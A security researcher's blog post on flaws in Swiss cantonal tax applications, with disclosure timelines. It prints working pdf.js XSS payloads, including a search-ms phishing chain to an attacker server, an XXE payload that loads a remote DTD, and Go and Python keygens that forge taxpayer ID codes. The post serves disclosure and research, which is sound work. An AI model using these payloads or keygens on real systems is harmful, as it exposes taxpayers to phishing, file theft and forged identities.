Swiss Tax Adventures 2: The N-Day and the Rabbit Hole
29. Nov 2024, #cve #java #web #electron #reverse engineering #swiss
This year I spent a little time looking at Swiss tax applications. Specifically, I looked at the 16 “official” desktop applications that allow you to do your taxes electronically. For non-Swiss readers, most of the 26 cantons (the Swiss equivalent of a state) have their own solution, that’s why there are so many clients.
In my last blog post, I showcased my main finding of this adventure, a mass XXE in a Java library included in many Swiss tax applications. This second part is going to tell the story of the N-Day that started all this and show you some smaller findings I had, whilst exploring the Swiss tax application rabbit hole.
A Wild XSS Appears #
Some time ago, I was filling out my taxes as usual, when, for whatever reason, I decided to investigate the tax software of my canton. Honestly, I don’t have a better explanation of how this started back then.
I live in the canton of Lucerne, which gladly provides “steuern.lu”, a desktop application for filling out your taxes electronically. The workflow is pretty simple:
- Download and start app
- Import data from last year (optional)
- Fill out your tax declaration
- Upload your tax data and attachments via the one-time login you got in the mail
The desktop app contains two parts, a TypeScript-based “front end” usually accessed by an Electron client, and a Java-based “back end”. The ports are assigned randomly during the start but can be hardcoded using a bit of asar file trickery. Once you know the ports, a (Burp) browser can be used as an alternative to the Electron client, which allows for nicer reverse engineering.
When I first did this, I was confused by the design decision and honestly did not find anything interesting and security-relevant right away. I did not spend that much time on it and quickly moved it to the “eh, maybe” project pile.
When CVE-2024-4367↗ showed up this year, the first thing that came to my mind was the tax software that I used almost a year ago. Somehow this app of all places was the last time I knowingly encountered pdf.js
. The tax app uses pdf.js
to render PDF attachments like receipts or similar documents, which you add to your tax declaration. Since the PoC exploit was available from the beginning, crafting a payload was easy:
/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('https://mkiesel.ch/images/poc.gif'\);
//)]
Unfortunately, the Electron part of the app was configured with security options1 that prevented me for achieving a direct RCE.
/* Security settings turned on - never disable them. */
devTools: false,
nodeIntegration: false,
contextIsolation: true,
enableRemoteModule: false,
sandbox: true,
preload: path.join(__dirname, "preload.js")
If nodeIntegration
had been set to true
, the following payload would have given me a direct RCE capability.
/FontMatrix [0.1 0 0 0.1 0 (1\);
ElectronRequire\('child_process'\).exec\('calc.exe'\);
//)]
URL Handlers FTW #
But having the unpacked Electron app in front of me, I spotted something interesting. The code below essentially is an “auto-clicker” for any registered URL handler that opens inside the Electron app. This means we can launch apps without needing confirmation from the user!
/**
* Open the given external protocol URL in the desktop's default manner.
*
* @param {String} externalProtocol Protocol to open.
* @returns nothing
*/
ipcMain.on('open-external-protocol', function(event, externalProtocol){
shell.openExternal(externalProtocol);
});
Let me explain…
In a traditional browser, the user is prompted for confirmation before opening installed applications via URL handlers. For example, typing calculator://
into the address bar should trigger a prompt as in the following picture.
Opening an URL handler via an XXS inside this Electron app, we can skip the confirmation step.
/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('calculator://'\);
//)]
Good old search-ms #
This behavior can open the door to many vulnerabilities, but they depend on what your target has installed. Is there something we can do which all Windows computers support? Yes, there is! Behold, the search-ms
URL handler! This URL handler is such a versatile entry point, that has been used numerous times for shenanigans 2 3, and I’m going to show why.
The URL handlersearch-ms
enables an attacker to open the “Search” dialogue of the Windows Explorer in a remote location. This location can be for example an SMB or WebDAV server. Combine this with social engineering and a potential MotW↗ bypass (like using .py
or .sln
files) and you’ve got yourself a nice entry point. To show the impact of the pdf.js
exploit, I prepared a little payload:
/FontMatrix [0.1 0 0 0.1 0 (1\);
window.location.replace\('http://192.168.56.6:8080/update.html'\);
//)]
<!DOCTYPE html>
<html>
<h1>Ihre Programm "steuern.lu.2023 nP" is veraltet</h1>
<h2><a href="search-ms:query=steuern&crumb=location:%5C%5C192.168.56.6%5Cupdate&displayname=Information-Factory%20Updates">Update installieren</a></h2>
</html>
Once I had the full chain, I contacted the vendor for a CVD (coordinated vulnerability disclosure). This went smoothly and they were very professional! Kudos! In addition to the vulnerable pdf.js
, I reported other security concerns like the URL handler attack path. They said they’ll look into it and if possible, remove it for the next version.
Timeline
- 10.06.2024: Found vulnerability, initial contact via email, asking for a security contact
- 11.06.2024: Got response with security contact
- 11.06.2024: Sent technical details
- 12.06.2024: Got a response, thanking me and saying they’ll handle the rest
- XX.06.2024: Version 1.2.0 gets released,
pdf.js
is updated- I don’t have the exact date here as the vendor updated the app, but the canton was responsible for distribution.
- Since this vendor is also responsible for another canton using the same Electron app, the other app is also updated.
All The Taxclients #
This N-Day finding spiked my interest, so I installed a total of 16 Swiss tax clients into my lab VM. This included every desktop app I could get my hands on, resulting in the table below. The rest of this blog post is a “best of” of what I encountered while following the tax rabbit down the rabbit hole. Some key points I observed were:
- The best attack vectors against such software are:
- The tax data file, often was a compressed archive of some sort.
- Attachments in the form of malicious file types.
- All applications I looked at were programmed in Java.
- Some are obfuscated more than others.
- Many applications had hardcoded secrets.
- Almost none had signature verification for updates.
My main tools were jadx↗ and IntelliJ IDEA↗ for decompiling and developing PoCs, as well as asar↗ for (un)packing the Electron apps.
Table of Tax Clients #
Canton | Vendor | Client |
---|---|---|
AG | msg systems ag | Desktop App |
AI | Ringler Informatik AG | Web |
AU | ? | Web |
BE | ? | Web |
BL | Ringler Informatik AG | Web |
BS | Information Factory AG | Electron Desktop App |
FR | Ringler Informatik AG | Desktop App |
GE | DV Bern AG | Desktop App |
GL | Ringler Informatik AG | Web |
GR | Abraxas Informatik AG | Desktop App |
JU | ? | Web |
LU | Information Factory AG | Electron Desktop App |
NE | Ringler Informatik AG | Desktop App |
NW | Ringler Informatik AG | Web |
OW | Ringler Informatik AG | Web |
SG | Information Factory AG | Desktop App |
SH | Abraxas Informatik AG | Desktop App |
SO | Ringler Informatik AG | Web |
SZ | Ringler Informatik AG | Desktop App |
TG | Abraxas Informatik AG | Desktop App |
TI | Information Factory AG | Desktop App |
UR | Ringler Informatik AG | Web |
VD | DV Bern AG | Desktop App |
VS | Abraxas Informatik AG | Desktop App |
ZG | Information Factory AG | Desktop App |
ZH | Information Factory AG | Desktop App |
This table only contains the clients listed on each canton’s site directly (the “official” clients), excluding 3rd party clients. I only looked at the Desktop clients.
The Kantönligeist #
A quick detour on why are there so many clients. The Swiss-German word “Kantönligeist” is often used to describe a situation where every canton has made up its own mind/solution which is then often not compatible with other cantons. This happens a lot.
What happens when digitalization gets into this style of law-making? 26 cantons having at least eight different clients from at least seven different vendors.
Tax file formats #
Now, on to some more technical stuff again. All tax software I encountered had the feature to save your tax data for the next year. This way, as long as you don’t move cantons, you can import last year’s data and won’t have to restart from scratch. There is however a cool attack vector here.
Often tax accountants accept sending them such files as when they are doing your taxes, it’s less work for them if they have your old data. Also, some cantons offer electronic submission of data. In both cases, the recipient might receive malicious data, nicely packed into a tax file. Here are some tax files I looked at in detail.
Forgeable Signatures #
The applications of Lucerne and Basel-City use a “custom” zip file to store the tax data. Inside this zip file, there are a few more zip files. If you unpack all, a stock/fresh tax file looks like this:
STEUERFÄLLE\TEST
│ taxcase.LUnP2023.meta
│ taxcase.LUnP2023.meta.sign
│
├───annexes
│ test.pdf
│ test.pdf.sign
│
└───artifacts
taxcase.LUnP2023
taxcase.LUnP2023.sign
As you can see, each file has a .sign
neighbor containing, as you probably guessed, its signature. Upon spotting this, I looked for the logic of how this signature is created. I expected some kind of KDF↗ which, using your personal identifier/access code generates a public key, verifying your identity once more. However, I was quickly disappointed. The vendor, Information Factory, as good as they were in fixing the pdf.js XSS, sadly only uses hardcoded private and public keys. This renders classic signing useless.
They confirmed to me the intended use case for those keys is only integrity checks against transport damage (corrupted files). Each user uses the same hard-coded keys. IMHO, a checksum would have achieved the same.
There is a possible XXE↗ here, as taxcase.LUnP2023
is an XML file and the import DocumentBuilder happily accepts DOCTYPE. I was just too lazy to PoC this because the ZIP file is constructed using custom code. Happy PoC’ing!
XXEaaS #
Speaking of XXE, msg Systems’s application for Aargau contained a relatively easy-to-exploit XXE. Upon feeding the exported file into binwalk
, I got the surprising result that it was just zlip-compressed data.
$ binwalk 2023.a23
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zlib compressed data, default compression
Using cat 2023.a23 | zlib-flate -uncompress > whatareyou
, a nice XML file presents itself, just waiting for the XXE. Using your standard XXE payload, the PoC was a breeze.
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.56.6:9999/stage1/haecks2.dtd">
%extentity;
%intern;
]
>
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Daten>
<Admin>
<FileCheck>
<Kanton>AG</Kanton>
<EasyTaxJahr>2023</EasyTaxJahr>
<Jahr>2023</Jahr>
<Version>1.2</Version>
<VersionDisplay>1.2</VersionDisplay>
<Hash>-6554710680262248762</Hash>
<Komplett>1</Komplett>
</FileCheck>
<Maintenance>
<Modus>1</Modus>
<seenPanels>1,61,2,3,60,4,7,11,8</seenPanels>
<currPanel>7</currPanel>
</Maintenance>
...
I contacted the canton directly via a general email, and what followed was probably the easiest CVD (coordinated vulnerability disclosure) process I ever had. They quickly got back to me, acknowledging the vulnerability and thanking me. I then contacted the Swiss GOVCert BACS↗, asking for a CVE number to be reserved. They reversed CVE-2024-9044 and on November 29 2024, the patched software was released as version 1.3. Kudos to the canton and the vendor for such a flawless handling of the situation, even if the vulnerability only had a minor impact.
Timeline
- 05.09.2024: Found vulnerability, initial contact via general email, asking for a security contact
- 05.09.2024: Got a response asking for details
- 05.09.2024: Sent details with a 90d grace period
- 05.09.2024: Got a response saying that they forwarded the details to the product owner
- 10.09.2024: Got a response saying that they verified the vulnerability, and they will fix it in the coming weeks, asking me to get a CVE
- 10.09.2024: Sent a response thanking for the swift handling of the situation
- 10.09.2024: Contacted BACS, requesting a CVE
- 20.09.2024: Got a response from BACS telling me they reserved CVE-2024-9044
- 20.09.2024: Forwarded CVE to product owner
- 23.09.2024: Got a response from the product owner, they are still waiting for the patch by the vendor
- 14.10.2024: Asked for an update
- 17.10.2024: Got a response from the product owner, the patch is done and expected to be released in November
- 29.11.2024: Version 1.3 gets released, CVE and this post go public
Deserialization #
The source code of the DV Bern’s applications for Geneva and Vaud was especially good to look at, as it was not obfuscated at all. Upon studying the tax file format, I noticed that the tax data itself, your personal data, income, and so on, are serialized Java objects. Even if it has gotten harder, insecure (Java) deserialization↗ is still a thing and my sensors immediately went off after seeing this.
However, the vendor probably knew about this attack vector, as they implemented a whitelist to prevent well-known gadget chains from being deserialized. In addition to the classes in the list below, any of their own classes (identified by the prefix ch.dvbern.tax
) were allowed.
THIRD_PARTY_CLASSES_WITHELIST = new HashSet(
Arrays.asList(
"java.util.HashMap",
"java.util.Collections$SingletonMap",
"java.util.Collections$UnmodifiableMap",
"java.util.HashSet",
"java.util.ArrayList",
"java.util.Date",
Types.TimestampClassName,
"java.lang.String",
"java.lang.Character",
"java.lang.Enum",
"java.lang.Boolean",
"java.lang.Number",
"java.lang.Integer",
"java.lang.Long",
"java.lang.Float",
"java.lang.Double",
"java.math.BigInteger",
Types.DecimalClassName,
"java.time.Ser",
"[B",
"[C",
"[I",
"[L",
"[F",
"[D",
"org.threeten.bp.Ser",
),
);
Since I’ve never encountered deserialization outside CTFs, I studied the topic for a few hours and tried to find a way to exploit the tax file format. Using Gadget Inspector↗ I checked for gadgets inside the custom classes. The chain of log4j was correctly identified. However, I did not find a sink where I could trigger a call to log4j and my object being valid at the same time.
INVOKE type gadget
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
They also use commons-collections4
, but I was not able to serialize a payload from ysoserial↗ into a tax file without getting the compile-time error of java.io.NotSerializableException
. For now, I deem their whitelist secure. But hey, I’m a n00b so prove me wrong! Happy Hunting!
CrackMes #
Moving on from tax file formats… Some tax software requires that you identify yourself before you can enter any data. Usually, this is an ID or code which you get from your canton and the format differs from canton to canton. Because I only have a valid number for the canton I reside in (which does not even require one until you submit the data), I had to get a bit creative when exploring other tax applications.
Aargau #
In the canton of Aargau, a so-called “Adress-Nr” is required to proceed. Using the text from the error message, the relevant code is quickly found. The switch statement will, in the case of the “Adress-Nr”, always land at case 10
. Knowing this, I quickly created a keygen.
Code
package main
import (
"fmt"
"math/rand"
)
const (
secret = "0946827135094682713"
)
func charToInt(b byte) int {
return int(b - '0')
}
func randStr() string {
randomNumber := rand.Intn(9000) + 1000
return fmt.Sprintf("%04d", randomNumber)
}
func calculateChecksum(part1, part2 string) (int, int) {
b2 := 0
str2 := part1 + part2
for i := 0; i < len(str2); i++ {
b2 = charToInt(secret[b2+charToInt(str2[i])])
}
expected := 0
if b2 != 0 {
expected = 10 - b2
}
return b2, expected
}
func main() {
var serial string
for {
part1 := randStr()
part2 := randStr()
base := part1 + "." + part2 + "."
b2, l := calculateChecksum(part1, part2)
if l < 10 {
serial = fmt.Sprintf("%s0%d", base, l)
} else {
serial = fmt.Sprintf("%s%d", base, l)
}
if b2 == 0 {
break
}
}
fmt.Println(serial)
}
Fun Fact: During this write-up, I noticed that 1111.1111.00
would also have been a valid code. So much for the keygen effort.
Valais #
For Valais, the “SteuerpfNr” was required. Same principle here: I located the code based on the error text using the decompiled jar files, found the logic, and generated a quick keygen.
Code
import random
def m39836A(s: str, flag: bool):
if len(s) <= 10:
iArr = [5, 4, 3, 2, 7, 6, 5, 4, 3, 2]
total = 0
for i in range(len(s)):
try:
total += int(s[i]) * iArr[i]
except ValueError:
return -1
remainder = total % 11
result = 11 - remainder if remainder > 0 else 0
if result == 10:
if not flag:
return -1
result = 0
return result
return -1
def code_generator():
while True:
# Generate the first part, between 001 and 167 (3 digits)
first_part_int = random.randint(1, 167)
first_part = f"{first_part_int:03}"
# Generate the second part between 1 and 9 (since it cannot be 0)
second_part_int = random.randint(1, 9)
second_part = str(second_part_int)
# Generate the third part (6 digits)
third_part = ''.join(random.choices('0123456789', k=6))
serial = first_part + second_part + third_part
# Calculate the last digit using m39836A
last_digit = m39836A(serial, True)
if last_digit != -1:
yield f"{serial}{last_digit}"
code_gen = code_generator()
code = next(code_gen)
print(code)
Geneva #
Sometimes, the devs are just super friendly and actually leave in a backdoor code.
Conclusion #
I hope at this point it’s clear why maybe the Kantönligeist is the wrong approach when it comes to government-relevant software. Tax data, which at its core is the same in all cantons, would really benefit from a single application for every taxpayer in Switzerland. But based on the table of tax clients, many cantons are switching to Ringler Informatik AG’s web solution so who knows? In a few years, we might get there eventually.
Hope to see you soon, cheers
https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content↗ ↩︎
https://www.bleepingcomputer.com/news/security/new-windows-search-zero-day-added-to-microsoft-protocol-nightmare↗ ↩︎
https://thehackernews.com/2023/07/hackers-abusing-windows-search-feature.html↗ ↩︎